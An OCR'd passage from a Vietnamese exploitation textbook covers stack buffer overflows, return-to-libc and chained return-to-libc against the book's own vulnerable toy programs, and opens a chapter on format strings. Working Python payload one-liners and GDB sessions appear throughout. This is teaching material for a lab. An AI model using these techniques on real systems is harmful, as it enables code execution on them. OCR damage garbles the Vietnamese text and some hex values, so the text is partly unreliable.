chi chudi sé 14 BFFFFA34 nhu da ban & trén va trang thai ngin xép can dat
duge mo ta nhu Hinh 3.9.

Toém lai, ching ta sé can mot chudi bat dau véi “You win!”, theo sau béi ky tu
két thiic chudi, roi t6i 7 ky tu bat ky dé 1ap day buf, sau d6 4 ky tu dé 1ap cookie,
4 ky tu khac dé 1ap gia tri EBP cii, dia chi ctia dong lénh CALL printf, va két
thic véi dia chi ctia bién buf. Hay néi cach khac, ta sé can 1 +7 +4+4 = 10
ky tu két thic chudi (ma ASCII 00) dé 1ap chd trong.

regular@exploitation:~/src$ python -c ’print "You win!" + "\x00"*0x10 + "\xAE\x8
4\x04\x08\x34\xFA\xFF\xBF"’> | ./stackb

&buf: Oxbffffa34, &cookie: Oxbffffadd

Segmentation fault

regular@exploitation:~/src$

Ching ta khong nhan duge chudi “You win!” trén man hinh!

Diing doc va suy nghi

Magc du véi cac tinh toan hgp 1y, chudi tan dung cla ching ta ¢6 vé nhu khong
c6 tac dung. Ban doc c6 thé giai thich 1§ do khong?

3.5.3 Di tim chudi bi danh cip

Truée khi tim hiéu van dé véi viec tan dung 16i, ching ta hay khio sat qua mot
doan ma ngin nhu trong Ngudn 3.8.

Néu bién dich va thie thi doan ma dé, chiing ta sé chi nhan dude thong bo
16i.
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XX [ XX | XX | XX
ESP —® AE [ 84 | 04 | 08

ebp ci

cookie
buf
buf
buf
buf

(a) ESP chi dén 6 ngan xép chita dia chi tré vé

CEEEY

ESP —® XX | XX [ XX | XX
AE (84 | 04 | 08

ebp ci

cookie
buf
buf
buf
buf

(b) Con tré ngan xép dich lén 1 6

Hinh 3.8: Trang thai ngan xép truéc va sau RET
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34 | FA | FF |BF
aE | 84 |04 | 08

ebp ci

cookie
buf
00 | XX | XX | XX

77 | 69 | 6E | 21
BFFFFA34 —® 59 | 6F | 75 | 20

Hinh 3.9: Trang thai ngin xép can dat dugc

regular@exploitation:~/src$ ./scratch
Segmentation fault
regular@exploitation:~/src$

Dong chit “You win!” ciing ling 1& bién mat y nhu van dé ching ta giap phai.
Phai chiang ham printf da bi bd qua?

Dé kiém tra xem ham printf c6 duge goi véi tham s6 chinh xac hay khong,
chiing ta c6 thé diing cong cu ltrace. Cong cu ltrace theo doi moi 16i goi thu vien
dong trong qué trinh thyc thi cia mot ting dung.

regular@exploitation:~/src$ ltrace ./scratch

__libc_start_main(0x8048440, 1, Oxbffffab4, 0x80484c0, 0x8048470 <unfinished ...>
__register_frame_info(0x804958c, 0x804969c, Oxbffffa08, 0x8048370, Oxb7fdaff4) = (
printf ("You win!") =8
—--- SIGSEGV (Segmentation fault) ---

+++ killed by SIGSEGV +++
regular@exploitation:~/src$

Két qua clia viéc theo déi qua trinh hoat dong cho thiy ham printf that ra
da ducc goi v6i tham sb ding va hoat dong mot cich ding dan.

Vay thi 1y do chi c6 thé 1a trong chinh ban than ham printf. Va that sy la
vay. Ham printf chia chudi can in vdo mot bo dém. Chi khi ndo gip phai ky
hiéu xubéng dong, hodac bo dém nay du 16n (vao ¢d vai kilobyte), hodic chuong
trinh két thic binh thuong khong xay ra 16i thi ham printf méi chuyén ching
ra man hinh.

D@ kiém chiing, chiing ta c6 thé 1ap lai thi nghiém véi mot it thay ddi trong
ma nguon. Ching ta thém ky tu xuéng dong vao cudi chudi “You win!” nhu
trong Ngudn 3.9. Va chudi can in da duge in.
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main ()

printf ("You_win!\n");
*(int x)(0) = 0;

Nguon 3.9: scratch.c da dugce sita

regular@exploitation:~/src$ ./scratch
You win!

Segmentation fault
regular@exploitation:~/src$

3.5.4 Quay trd lai vi du

Quay trg lai vi du ching ta dang xem xét, ching ta sé diing ltrace dé kiém
chitng liu ham printf c6 dudce goi véi tham sé6 mong mudén khong.

Truée tien, ching ta phai tim dia chi ctia bién buf khi chay chuong trinh bi
16i trong ltrace.

regular@exploitation:~/src$ ltrace ./stackb

__libc_start_main(0x8048470, 1, Oxbffffab4, 0x8048510, 0x80484cO <unfinished ...
>
__register_frame_info(0x80495f4, 0x8049708, Oxbffffa08, 0x80483a0, Oxb7fdaff4) =
0

printf ("&buf: %p, &cookie: %p\n", Oxbffffa24, Oxbffffa34&buf: Oxbffffa24, &cooki
e: Oxbffffa34

) = 38

gets (Oxbffffa24, Oxbffffa24, Oxbffffa34, 0x80482f9, 1

) = Oxbffffa24

__deregister_frame_info(0x80495f4, 0xb7£fdb300, 0, 0xb8000ccO, Oxbffffa38) = 0

+++ exited (status 36) +++

regular@exploitation:~/src$

Dia chi bién buf dudc in ra 1a BFFFFA24. Do d6, chudi nhap vao clia ching
ta c6 chit thay déi. Va thay vi dimg éng dé truyén thidng vao chuong trinh,
chiing ta sé chuyén chudi nay vio mot tap tin dé sit dung véi ltrace.

regular@exploitation:~/src$ python -c ’print "You win!" + "\x00"*0x10 + "\xAE\x8

4\x04\x08\x24\xFA\xFF\xBF"’> > exp

regular@exploitation:~/src$ ltrace ./stackb < exp

__libc_start_main(0x8048470, 1, Oxbffffab4, 0x8048510, 0x80484cO <unfinished ...
>
__register_frame_info(0x80495f4, 0x8049708, Oxbffffa08, 0x80483a0, Oxb7fdaff4) =
0

printf ("&buf: %p, &cookie: %p\n", Oxbffffa24, Oxbffffa34&buf: Oxbffffa24, &cooki
e: Oxbffffa34

) = 38
gets(Oxbffffa24, Oxbffffa24, Oxbffffa34, 0x80482f9, 1) = Oxbffffa24
printf("You win!") = 20

—--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++
regular@exploitation:~/src$
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Dting nhu tinh toan, chudi “You win!” that su da duge truyén vao ham printf
nhtt mong dgi. Nhung vi chiing ta khong c6 ky ti dong méi & cudi nén chudi
nay da khong duge in ra man hinh. Ching ta phai nghi t6i cach khac.

Dirng doc va suy nghi

Gia st nhu ching ta c6 ky tu dong méi 6 cudi chudi, ching ta ciing sé khong
nhan dude chudi mong mudn néu chudi dé duge dat & dau bién buf nhu hién
tai. Doc gia c6 biét tai sao khong?*

3.5.5 Goi chuong trinh ngoai
3.5.5.1 Véi truong hgp tén chuong trinh 1a a

Cung nhan tham s6 1a dia chi cia mot chudi tuong ty nhu printf con c6 ham
strlen, atoi, va mot sb ham khac. Vi printf khong thé gitp ching ta dat dugc
muc tiéu nén ching ta can phai xem xét téi viec si dung cac ham nay. Mot
trong nhitng ham ching ta quan tam la system. Ham system thuyc thi mot lénh
trong vo6 (shell). Vi du néu goi system(¢“1s’’) thi ciing nhu chiing ta nhap vao
lenh 1s & trong vo sh.

Gio day, ching ta da tim ra thém mot con dudng dé dat dén muc tiéu nhu
minh hoa trong Hinh 3.10. Trudc hét ching ta sé tao ra mot chuong trinh vo
don gidn in chudi “You win!”, va sau dé tim céch dé chuong trinh nay dugc thuc
thi thong qua ham system.

Hay dit tén cho chuong trinh vé nay 1a a va dat quyén thuc thi cho né. Dong
thai, ta ciing phai dam bao ring chuong trinh vé nay hoat dong theo ding ¥
muon.

#1/bin /sh

echo ’You win!’

Nguodn 3.10: a

regular@exploitation:~/src$ chmod u+x a
regular@exploitation:~/src$ ./a

You win!

regular@exploitation:~/src$

Nhu cac vi du trude khi quay vé CALL printf, chiing ta sé can tim dia chi
ctia mot lénh goi ham system trong chuong trinh. That khong may 1a chuong
trinh ctia ching ta khong c6 bat ky 18i goi ham nao téi system.

Tuy nhién, chiing ta nhé réing léenh CALL thuye chat sé lam hai tc vu 1a dua
dia chi trd vé vio ngin xép, va nhdy tdi dia chi ctia dbi s6. Tac vu dau tién lam
cho dinh ngan xép chi téi dia chi tré vé. Tac vu thit hai lam thay ddi con trd

4Ly do sé dugc giai thich ¢ Tiéu muc 3.5.5.2.
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main

gets

system

théan

QO00DOAOQ

Hinh 3.10: Quay vé ham system
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lenh va chinh 13 méu chét ctia lenh CALL. Dé thay thé dugc lenh CALL, ta
phai tim dugc dia chi clia déi s6 clia lenh CALL, titc dia chi ham system.

Ciing nhu printf, ham system la mot ham trong bo thu vién chuan cho nén
mic dit chuong trinh khong trige tiép sit dung ham system, nhung ham nay ciing
duge tai vao bo nhé khi bo thu vien duge tai vao. Dé tim dia chi clia system,
chiing ta sé stt dung dén GDB.

regular@exploitation:~/src$ gdb ./stackb

GNU gdb 6.4.90-debian

Copyright (C) 2006 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i486-linux-gnu"...Using host libthread_db library "/
1ib/t1ls/i686/cmov/libthread_db.so.1".

gdb$ break main

Breakpoint 1 at 0x8048476

gdb$ run

Failed to read a valid object file image from memory.

[regs]
EAX: BFFFFAA4 EBX: B7FDAFF4 ECX: B7EC2E6D EDX: 00000001 od I t Sz aPc
ESI: 00000000 EDI: B8000CCO EBP: BFFFFA28 ESP: BFFFFAOO EIP: 08048476

CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B

[007B:BFFFFA00] [stack]
BFFFFA50 : 30 FA FF BF 6D 2E EC B7 - 00 00 00 00 00 00 00 00 O...m...........
BFFFFA40 : F4 AF FD B7 00 00 00 00 - CO OC 00 B8 78 FA FF BF ............ X...
BFFFFA30 : 01 00 00 OO0 A4 FA FF BF - AC FAFF BF 00000000 ......covvuunnn.
BFFFFA20 : 00 00 00 00 CO OC 00 B8 - 78 FA FF BF A8 2E EC B7 ........ b N
BFFFFA10 : 8C 8C EB B7 F4 AF FD B7 - 00 00 00 00 F4 AF FD B7 ...........c.....
BFFFFAOO : 01 00 00 00 A4 FA FF BF - 28 FA FF BF 29 85 04 08 ........ ...,
[0073:08048476] [code]
0x8048476 <main+6>: add esp,Oxfffffffc

0x8048479 <main+9>: lea eax, [ebp-4]

0x804847c <main+12>: push eax

0x804847d <main+13>: lea eax, [ebp-20]

0x8048480 <main+16>: push eax

0x8048481 <main+17>: push  0x80485d0

0x8048486 <main+22>: call 0x804834c <printf@plt>

0x804848b <main+27>: add esp,0x10

Breakpoint 1, 0x08048476 in main ()

gdb$ print system

$1 = {<text variable, no debug info>} 0xb7ee3990 <system>
gdb$

Lénh break main dit mot diém dimg tai ham main clia chuong trinh. Lénh
run thyc thi chuong trinh. Khi chuong trinh chay, ham main sé€ duge goi, va
diém dimg da thiét 1ap sé chan chuong trinh ngay dau ham main. Tai thoi diém
nay, chuong trinh da dugc tai len bo nhé hoan toan cho nén bo thu vien chuan
ciing da dugc tai. Cudi ciing chiing ta dimg lenh print system dé in dia chi
ham system. Dia chi cia ham system 1a BTEE3990.

Chiing ta c6 thé gan dia chi nay vio 6 ngin xép chita dia chi trd vé ctia ham
main dé khi main két thic thi né sé nhay téi system truc tiép. Van dé con lai
1 ta can xac dinh 6 ngan xép nao chita tham s6 ciia system.
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34 | FA | FF | BF

XX [ XX | XX | XX
90 | 39 | EE | B7

ebp cii

cookie
buf
buf
buf
BFFFFA34 —® 28 | 2F | 61 | 00

Hinh 3.11: Trang thai ngin xép dé quay vé ham system

Doc gia sé thay sy khac nhau giita viéc quay trd vé lénh goi ham, vA quay
trd vé ham mot cach tryc tiép chinh 14 6 mot 6 ngan xép du. Khi quay vé lenh
goi ham, tac vu dau tién ciia lenh CALL sé dich chuyén con trd ngin xép xubéng
mot 6 ngan xép trude khi con tré lénh chuyén dén dia chi ham. Khi quay vé
ham tryc tiép, con tré ngin xép van git nguyén vi tri ctia noé, chi cé6 con trd
lenh bi thay ddi chi dén dia chi ham.

Trong ci hai truong hgp, khi con tré lenh da chi dén phan dan nhap cia
ham, con tré ngin xép sé chi dén 6 ngin xép chia dia chi trd vé ctia ham day.
Do dé, dya vao mo hinh ciu tric ngin xép da minh hoa trong Hinh 2.11, tham
s6 dau tién clia ham s& 14 6 ngin xép ngay bén trén dinh ngian xép. Va dinh
ngan xép hién tai chinh 14 6 ngin xép ngay bén trén dia chi tré vé clia main
nhu da khao sat & vi du trude, trong Tiéu muc 3.4.4.

Ching ta da c6 day du cac yéu té dé tan dung 16i thong qua viéc sit dung
mot chuong trinh ngoai. Chiing ta sé nhap chudi ./a, theo sau bdi mot ky tuw
két thic chudi, roi C ky tu bat ky dé 1ap day buf, 4 ky tu khac dé 1ap day cookie,
thém 4 ky tu nita dé 1ap gia tri EBP cii, roi 4 ky tut ¢6 ma ASCII 1lan lugt 1a 90,
39, EE, va B7 x4c dinh dia chi ctia ham system, 4 ky tu bat ky dé 1lap dia chi
trd vé clia ham system, va 4 ky tir ¢6 ma ASCII lan lugt 1a 34, FA, FF, va BF
xac dinh vi tri bién buf Hinh 3.11 miéu ta trang thai ngin xép can dat dugc.

Va khi thuyc hién tan dung 16i, chiing ta sé nhan duge két qua tuong tif nhu
hinh chup sau.
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regular@exploitation:~/src$ python -c ’print "./a" + "\x00"*(1+0x0C+4+4) + "\x90

\x39\xEE\xB7" + "aaaa" + "\x34\xFA\xFF\xBF"’ | ./stackb
&buf: Oxbffffa34, &cookie: Oxbffffadd
You win!

Segmentation fault
regular@exploitation:~/src$

Chtng ta da thanh cong véi cach tan dung 16i méi. Phuong phap quay trd
vé mot ham trye tiép trong thu vien chuan (vi du nhu system) duge goi 1a quay
vé tha vién chudn (return to libc). Phuong phap nay c6 hai wu diém chinh:

e S6 lugng cac ham trong bo thu vien chuan rat nhiéu, do dé da sb cac
chuong trinh déu sé ding t6i bo thu vien chuan cho muc dich nay hay
muc dich kia, v vo tinh két ndi t6i cd nhitng ham khéng can thiét vi du
nhu system.

e Quay vé thu vién chuan khong giap phai nhitng rao can vé kha ning thuc
thi ctia ma lénh nhu déi véi cAc phuong phép quay vé mot ving nhé chita
dw lieu khac.

3.5.5.2 V@i truong hgp tén chuong trinh 1a abc

Phan nay don gian chi mé rong nhitng gi ching ta da ban & phan trude. Van
dé dude dat ra & day 14 néu tén chuong trinh ngoai 1a abc thay vi a, thi chiing
ta can thay déi nhiing gi dé dat dugc ciing két qua?

Qua don gian, chiing ta chi can thay ./a thanh ./abc va gidm bét 2 byte
dém trong cau lénh tan dung nhu sau.

regular@exploitation:~/src$ mv a abc

regular@exploitation:~/src$ python -c ’print "./abc" + "\x00"*(1+0x0C+4+4-2) + "
\x90

\x39\xEE\xB7" + "aaaa" + "\x34\xFA\xFF\xBF"’ | ./stackb

&buf: Oxbffffa34, &cookie: Oxbffffad4d

sh: ./ab: No such file or directory

Segmentation fault

regular@exploitation:~/src$

Chiing ta khong nhan dugc dong chit mong muén! Thay vao d6, ching ta
nhan dugc mot théng bao 16i khong tim dugc tap tin ./ab. Diéu dang chu y
la ./ab c6 vé nhut xudt phat tir . /abc. Dé kiém chiing, ching ta sé thay ./abc
thanh ./defg va hy vong thong bdo 16i sé trd thanh khong tim thay tap tin
./de.

regular@exploitation:~/src$ python -c ’print "./defg" + "\x00"*(1+0x0C+4+4-3) +
"\x90

\x39\xEE\xB7" + "aaaa" + "\x34\xFA\xFF\xBF"’ | ./stackb

&buf: Oxbffffa34, &cookie: Oxbffffadd

sh: ./de: No such file or directory

Segmentation fault

regular@exploitation:~/src$

Qua that, c6 vé nhu chuong trinh chi nhan hai ky ty dau clia tén tap tin
truyén vao. Do d6, phuong phap don gian nhét dé ép chuong trinh thuc thi tap
tin abc trong khi ta chi ¢6 thé sit dung hai ky tu 1a tao mot lien két mém (soft
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link) dén tap tin abc. Hinh chyp sau tao lién két mém tén de, chi téi tap tin
abc, va thyc hién tan dung 16i y hét nhu trén.

regular@exploitation:~/src$ 1ln -s abc de
regular@exploitation:~/src$ python -c ’print "./defg" + "\x00"*(1+0x0C+4+4-3) +
"\x90

\x39\xEE\xB7" + "aaaa" + "\x34\xFA\xFF\xBF"’ | ./stack5b
&buf: Oxbffffa34, &cookie: Oxbffffadd
You win!

Segmentation fault
regular@exploitation:~/src$

Tuy da dat dugc muc dich nhung ching ta van chua giai thich duge 1y do
tai sao ham system chi nhan hai ky ty dau tién.

Dirng doc va suy nghi

Ban doc c6 thé thit bo chudi ./ & dau dé tiét kiem them 2 ky tu nita. Nhé
thiét lap bién moi truong PATH chi t6i thu muc chia tap tin day, va can than
v6i su thay ddi ctia dia chi bién buf.

Diing doc va suy nghi

Hay thit suy nghi vé 1y do clia sy cat khic.

Khi con tré lenh da chuyén dén phan din nhap ciia system thi con tré ngin
xép dang chi t6i 6 ngin xép ngay trén dia chi trd vé ctia ham main. Phan dan
nhap clia system sé khdi tao mot ving nhé ngan xép cho ham system bang cach
gidm gia tri ctia ESP, lam cho ESP chi dén mot 6 ngan xép nao dé & bén dudi
nhu da duge ban dén trong Tiéu muc 2.3.1. Cac bién noi bo ciia system sé duge
luu trong vimg nhé ngan xép nay va chiing chong lén phan dit liéu ctia bién buf.
Trong trudng hgp nay, c6 1& ham system da st dung 24 (thap phan) byte nén
van con 4 byte dau ctia buf chua bi mit hén, dan dén sy cit khic nhu ching
ta thiy. Hinh 3.12 minh hoa sy chong lap ving nhé ngin xép clia ham system
lén ving nhé ngan xép cii ciia ham main khi c6 thi thyc thi ./abc. Bén trai
13 trang thai bo nhé khi vira thyc hién lenh RET & phan két thic ctia main, va
bén phai mo ta cac 6 ngan xép duge sit dung trong ham system.

D@ tranh dit liéu ciia chiing ta bi chong 1ap thi chiing ta phai dit né & vi tr
khéc. Ching ta c6 thé dit chudi ./abc vao sau bién buf thay vi & truéc nhu
trong hinh chup bén dudi.
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ESP 34 | FA | FF | BF 34 | FA | FF | BF

61 | 61 | 61 | 61

6 chua dia
chi_-tr& vé —» 90 39 EE B7
clia main

00 | 00 | 00 | OO

scookie —»{ 00 | 00 | 00 | 0O

00 | 00 | 00O | OO

00 | 00 | 00 | OO

63 | 00 | 00 | OO

sbuf="__ J op | 2Fr | 61 | 62
BFFFFA34

Hinh 3.12: Ving nhé ngin xép ham system chong lén bién buf

regular@exploitation:~/src$ python -c ’print "\x00"*(0x10+4+4) + "\x90\x39\xEE\x

B7" + "aaaa" + "\x58\xFA\xFF\xBF./abc\x00"’ | ./stackb
&buf: Oxbffffa34, &cookie: Oxbffffadd
You win!

Segmentation fault
regular@exploitation:~/src$

Vi chiing ta chuyén chudi ra phia sau nén dia chi chudi sé 1a BFFFFA34 +
24 = BFFFF A58, tiic 1a dia chi ctia bién buf cong them khodng cich tit bién
buf t6i chudi ./abc. Va ban than bién buf sé dugc lap day bang ky tu bat ky.
Xem Hinh 3.13.

Hodc ta ciing ¢6 thé sit dung bién moi truong nhu sau.

regular@exploitation:~/src$ export EGG=’./abc’
regular@exploitation:~/src$ ./getenv

bffffc39

regular@exploitation:~/src$ python -c ’print "\x00"*(0x10+4+4) + "\x90\x39\xEE\x
B7" + "aaaa" + "\x39\xFC\xFF\xBF"’ | ./stackb

&buf: Oxbffffa34, &cookie: Oxbffffadd

You win!

Segmentation fault
regular@exploitation:~/src$

Ban doc can cht § réing vi do dai clia getenv va stackb 1a nhu nhau (ciing
6 ky tu) nén dia chi do getenv cung cap c6 thé duge sit dung ngay véi stacks
ma khong can diéu chinh. Cach st dung bién méi trudng cé vé tién lgi hon so
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63 [ 00 [ XX | XX
BFFFFA58 —®1 2E | 2F | 61 | 62
58 | FA | FF | BF
61 [ 61 | 61 | 61
90 | 39 | EE | B7
00 | 00 | 00 | 0O
&cookie —® 00 | 00 | 00 | 00
00 [ OO | 00 | OO
00 [ OO | 00 | OO
00 [ OO | 00 | OO
BFFFFA34 —®1 00 | 00 | 00 | 00

Hinh 3.13: D&t . /abc vao cudi chudi
v4i nhitng gi ching ta da lam.

3.6 Quay vé thu vién chuan nhiéu lan

C6 mot diém khong hay & nhitng cau lénh tan dung ma ching ta da xem qua.
Tuy ching ta vAn in dude chudi can in nhung dong thsi chiing ta ciing lam
chuong trinh gip 16i phan doan (segmentation fault). O nhing chuong trinh
dugc thiét ké tét, viec gap phai mot 16i tuong tir nhu thé nay sé khién cho ngudi
quan tri dude cdnh bio va dan dén viéc tan dung 16i gap nhiéu khé khian hon.
Chiing ta hdy xem xét mot chuong trinh nhu thé trong Ngudn 3.11.

That ra chuong trinh nay chi thém vao mot phan xi 1y tin higu (signal han-
dler) SIGSEGV dé in ra man hinh dong chit “You still lose!”. Tin higu SIGSEGV
dudc hé didu hanh gti t6i chuong trinh khi chuong trinh mac phai 161 phan doan.

Trude hét, ching ta can phai tim hiéu tai sao céc cau lenh tan dung 16i ctia
chiing ta lai 1am cho chuong trinh mac phai 16i phan doan. Nhé lai ring ching
ta da st dung céch quay vé thu vién chuén dé ép ham main khi thoat sé nhay
t6i ham system. Ham system cling nhu nhiéu ham khac, khi thiyc hién xong tac
vu cling sé phai tré vé ham goi né. Trong Hinh 3.13, dia chi trd vé clia system
la 61616161. Dia chi nay thong thuong khong duge anh xa vao bo nhé nén khi
con tré léenh quay vé dia chi d6, chuong trinh khong thé doc lénh tit bo nhé,
gay ra 161 phan doan.

Dé kh#c phuc 161, chiing ta phai ép ham system quay vé mot lénh, hoic mot
ham nao dé dé chAm dit chuong trinh, khong tiép tuc quay vé ham goi né. Mot
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#include <stdio.h>
#include <signal .h>

void segv_handler (int signal)

{

printf("You_still _lose!\n");
abort (—1);

}

void init ()

{
}

int main()

{

signal (SIGSEGV, segv_handler);

int cookie;

char buf[16];

init ();

printf ("&buf: %p, _&cookie: %p\n", buf, &cookie);
gets (buf);

if (cookie == 0x000D0AO0O)

{

}

printf("You_lose!\n");

Nguodn 3.11: stack6.c

trong nhitng ham khong quay vé 14 ham exit. Him ezit chdm dit hoat dong
ctia mot chuong trinh véi ma két thic 1a tham s6 dude truyén vao. Vi chiing
ta khong quan tam tdi ma két thiic ctia chuong trinh nén ching ta cfing khong
can quan tam dén tham s6 ciia ham.

Cubi cling, dé khong con vudng 161 phan doan thi ching ta chi can cho system
quay vé exit nhu Hinh 3.14. Cong viéc can lam sé bao gom tim dia chi exit va
thay dia chi ndy vao vi tri cia 4 ky ty a trong cau lénh tan dung 16i ctia ching
ta. Dia chi ctia ham ezit (14 mot ham trong bo thu vien chuan) c6 thé duge tim
thong qua GDB tuong tu nhu khi ching ta tim dia chi clia system. Dia chi nay
12 B7TED92EO0. Nhu vay, cau léenh tan dung 16i clia ching ta sé tuong ty nhu
hinh chup bén dudi.

regular@exploitation:~/src$ python -c ’print "\x00"*(0x10+4+4) + "\x90\x39\xEE\x

B7" + "\xEO0\x92\xED\xB7" + "\x39\xFC\xFF\xBF"’ | ./stack6
&buf: Oxbffffa34, &cookie: Oxbffffadd
You win!

regular@exploitation:~/src$

K¢ thuat ma ching ta vita xem xét qua duge goi 1a quay vé thu vién chudn
nhiéu lan (chained return to libc). Ky thuat nay 1a sy phat trién ciia quay vé
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thu vien chudn nhdm thuc hién nhiéu hon mot tac vu trong mot lan tan dung.
Trong vi du xét & phan nay, ching ta quay vé thu vién chudn hai lan dé thuc
hién mot lénh va thoat khoi chuong trinh. Tuy nhién, néu sip xép céc gia tri
va thit tir goi ham chuan x4c thi ching ta c6 thé quay vé thu vien chuan nhiéu
lan hon nita.

regular@exploitation:~/src$ python -c ’print "\x00"*(0x10+4+4) + "\x70\x23\xEF\x
B7" + "\xFO\x22\xEF\xB7" + "\x54\xFA\xFF\xBF" + "\x5C\xFA\xFF\xBF" + "\xE0\x92\x
ED\xB7" + "\x5C\xFA\xFF\xBF" + "You win!"’ | ./stacké

&buf: Oxbffffa34, &cookie: Oxbffffadd

You win'!regular@exploitation:~/src$

Dong lénh tan dung trén két ndi main > sprintf > printf > ezit chi mang tinh
gi6i thieu va khong c6 gia tri thuc tién vi ban doc c¢6 thé dé dang st dung hai
lenh printf vi ewit 1a d, khong can sprintf & truée. Giai thich cin ké cau lenh
trén duge danh lam mot cau dé nhé cho ban doc.

3.7 Tém tat va ghi nhé

o L3i tran bo dém 1a mot trong cac 161 nguy hiém nhat va vAn phd bién dén
ngay nay. Ban chat 16i tran bo dém don gidn 13 dit lisu nhap vugt qua
viing nhé duge cap dé chita n6. Su nguy hiém xay ra khi cac dit lieu quan
trong do6i véi chuong trinh nim & phia sau ving nhd bi tran vi di lieu
tran c6 thé lam thay doi cac dit lisu quan trong day.

e Dé tan dung mot chuong trinh, trude hét ngudi tan dung 16i phai hiéu ré
cach thic hoat dong ctia ban than chuong trinh, ciia cac thu vién ching
stt dung, va cac ham dugc goi. Sut hiéu biét nay gitp cho ngudi tan dung
16i nhanh chéng khic phuc hodc vugt qua nhitng can tré trong ban than
chuong trinh. Sy hiéu biét vé nhiéu mat ciing gitip ngudi tan dung 16i tim
ra phuong phap khac thay vi ¢d ging lam theo phuong phap cii da bi
chan.

e Qué trinh tan dung 16i doi héi ngudi tan dung tra 101 hai cau hoi quan
trong: can dua dit lidu gi, vd lam sao dé dua dit lieu d6 vao chuong trinh.
Hai cau hoi nay chi ¢6 thé duge tra 18i khi ngudi tan dung hiéu 16 céch
hoat dong ctia chuong trinh.

e Néu chuong trinh doc tit bo nhap chudn, ching ta c6 thé st dung éng,
ho#ic chuyén huéng dé thay déi dong nhap vao chuong trinh.

e Ngon ngit kich ban gitip ngudi tan dung 16i tiét kiem rat nhiéu thoi gian.
Python la mot trong nhiing ngon ngit duge sit dung phd bién.

e Cac dit licu quan trong anh huéng dén qua trinh hoat déng ciia chuong
trinh c6 thé 14 mot bién, mot ¢ quan trong, dia chi tré vé ciia mot ham
trong ngin xép.

e Cac cong cu nhu objdump, GDB c6 thé cho chiing ta biét nhiéu thong tin
vé chuong trinh vi du nhu céc léenh hgp ngit, dia chi cac lenh nay, tham
chi 1a cac ma may tuong ing.
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e GDB la mot chuong trinh g& r6i cho phép chiing ta khio sat qua trinh
thuc thi clia mot chuong trinh mot cach tuong tac. Ching ta c6 thé ding
GDB dé tim dia chi cac ham trong bo thu vien chuan.

e C6 nhiéu cach dé nap dit lieu vao ving nhé ctia mot chuong trinh nhu
thong qua viéc nhap dit lieu thong thudng, hoic cic bién méi trudng,
hoac cac tham s6 dong lénh, hay ngay ca tén chuong trinh.

e Dia chi cac bién moi trudng rat nhay cam véi cac thay déi vé s6 lugng, noi
dung, va tén ciia cAc bién moi truong. Ching ta phai ddm bio hai chuong
trinh c6 cting mot moi truong thue thi thi dia chi cic bién mai trudng méi
nhu nhau. Méi ky ty ting thém & tén chuong trinh lam gidm hai don vi
& dia chi bién moi trudng.

e Quay vé ban than chuong trinh 1a k§ thuat thay déi ludng thyc thi cta
chuong trinh thong qua viéc thay ddi dia chi tré vé ctia mot ham dé con
tré lenh chi dén phan doan .text clia chuong trinh. Viéc xac dinh vai tro
céc 6 ngan xép 1a miu chdt thanh cong & cac ki thuat thay déi ludng thuc
thi. Vi tri dit dit lisu ciing can dudc luu § dé tranh bi chén l4p béi ving
nhd ngin xép clia cac ham khac.

e Quay vé thu vién chuan la ky thuat tuong tu nhu quay vé .text nhung
con trd lenh sé chi téi cac ham trong bo thu vién chuan thay vi chi t6i
céc lenh ctia chuong trinh. Ching ta c6 thé lien két nhiéu lan quay vé thu
vién chudn v6i nhau dé thuc hién nhiéu téc vu trong mot 1an tan dung.

e Thu vién chuan dudc st dung trong hau hét moi chuong trinh. Diéu nay
dem lai cho ching ta mot kho cong cu 16n khi sit dung phuong phap quay
vé thu vien chuén béi vi moi ham trong thu vien déu cé thé dugc tan dung
mic dit ban than chuong trinh khong tham chiéu tdi cac ham do.

e Doi khi viéc tan dung 16i chi don gian 1a tao lien két mém hoic déi tén
tap tin. Do6i khi né doi hoi sy nghién cttu ti mi, tinh toan chi tiét v sang
tao trong viéc bién chuyén cac k§ thuat co ban. Viéc tan dung 15i ciing 13
mot qué trinh thi-sai-thi-lai dé tim ra nhidu cach thic méi va so sanh su
thay déi trong hoat dong ciia chuong trinh.
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main

gets

system

Q00DOAOQ

Hinh 3.14: Két ndi hai 1an quay vé system vi exit
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Chuoi dinh dang

Phé bién, nguy hiém tuong tir va dé bi tan dung hon 16i tran bo dem la cac 15
lien quan dén chudi dinh dang.

4.1 Khai niém
Chiing ta stt dung printf trong cac vi du 6 nhiing phan truéc nhu sau:
printf (‘“You win!’’);

Chudi “You win!” 1 tham sd dau tién cta printf, vd tham s6 ndy c6 mot vai
tro dic biet dbi véi printf: né xac dinh kiéu hién thi cia nhitng tham sb sau.
Chinh vi vay, tham s6 dau tien clia printf dugc goi 1a chudi dinh dang (format
string). Chudi dinh dang con dugce st dung trong cédc ham cting ho véi printf
nhu sprintf, fprintf, vsprintf, v.v. ..

Ching ta hay thi thyc thi mot vai chuong trinh nhé sau.

int main ()

{
}

printf("One_percent_is_written_as_1%\n");

int main ()

{
}

printf("One_thousandth_is_written_as_1%%\n");

Doan ma dau tién in ra One percent is written as 1%, vd doan ma thit
hai in One thousandth is written as 1%. Ban doc sé chd ¥ thiy thiéu mot
dau phan tram trong két qua thit hai. Didu nay chiing té printf khong don gidn
in tham s thit nhat nhu dude truyén vao, ma da cé nhitng xit Iy nhat dinh déi
v6i tham s nay.

Tai lieu ham printf cho biét ky tu dau phan tram (%) c6 ¥ nghia dac bigt
trong chudi dinh dang. N6 danh dau sy bat dau ctia mot yéu cau dinh dang
(conversion specification). Yéu cau dinh dang duge két thic bdi mot k¥ tu dinh
dang (conversion specifier). Mot s6 céc ky tut dinh dang c6 thé c6 bao gdm %, c,
x, X, s, n, hn.

73
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% in ra chinh ky tu phan tram. Day 1a 1y do vi sao doan m4 thit hai chi in mot
ky tu phan tram.

¢ in tham s6 nhu mot ky t.

x in tham s6 nhu mot s6 thap luc phan, st dung cac ky tu thudng.
X tuong ty nhu x nhung st dung cac ky tu hoa.

s in chudi tai vi tri chi téi bdi tham sb.

n viét vao vi trf duge chi t6i bdi tham s6 sd luong ky tu (1a mot sd nguyén 4
byte) da dugc in ra man hinh.

hn tuong ty nhu n nhung chi viét 2 byte thap thay vi toan bo 4 byte.

Cac ky tu dinh dang nay c6 thé nhan them tham s6, tham sé dau tién c6 vi tri
